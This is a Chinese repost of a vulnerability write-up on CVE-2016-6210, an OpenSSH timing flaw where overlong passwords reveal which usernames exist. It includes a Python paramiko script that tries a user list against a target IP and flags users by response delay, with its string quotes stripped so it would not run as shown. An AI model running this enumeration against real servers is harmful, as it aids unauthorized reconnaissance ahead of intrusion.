码迷,mamicode.com
首页 > 其他好文 > 详细

OpenSSH利用处理畸形长度密码造成的时间差,枚举系统用户(CVE-2016-6210)

时间:2016-07-21 12:37:27      阅读:120      评论:0      收藏:0      [点我收藏+]

标签:

受影响版本:

opensshd(< =最新版本)

CVE-2016-6210

漏洞描述:


当我们使用ssh客户端去连接服务端的时候,如果向服务端发送一个大于10KB的密码,由于OpenSSH服务端会对user:password的组合,使用加密算法SHA256/SHA512进行加密。
如果我们传输的是一个不存在的用户名,那么就不会进入sha256(user,password)加密流程,如果用户名存在,服务器将会针对这个10KB大的密码进行SHA256的加密,这里就会产生时间差。

 

测试脚本:

import paramiko 
import time
import sys
from fileutils import FileUtils

def get_user(ip,user):

    p=A*50000 
    ssh = paramiko.SSHClient() 
    starttime=time.clock() 
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
    try: 
        ssh.connect(ip, username=user, password=p) 
    except: 
        endtime=time.clock()
    
    total=endtime-starttime 
    return (total) 
        
if __name__ == __main__:
    ip = sys.argv[1]
    for user in FileUtils.getLines(user.lst):
        try:
            i = get_user(ip,user)
        except Exception,e:
            print str(e)
        if i > 5.0:
            print %s : %s : %s found % (ip , user,i)
        else:
            print %s : %s : %s no found % (ip,user,i)

技术分享

OpenSSH利用处理畸形长度密码造成的时间差,枚举系统用户(CVE-2016-6210)

标签:

原文地址:http://www.cnblogs.com/persuit/p/5691259.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!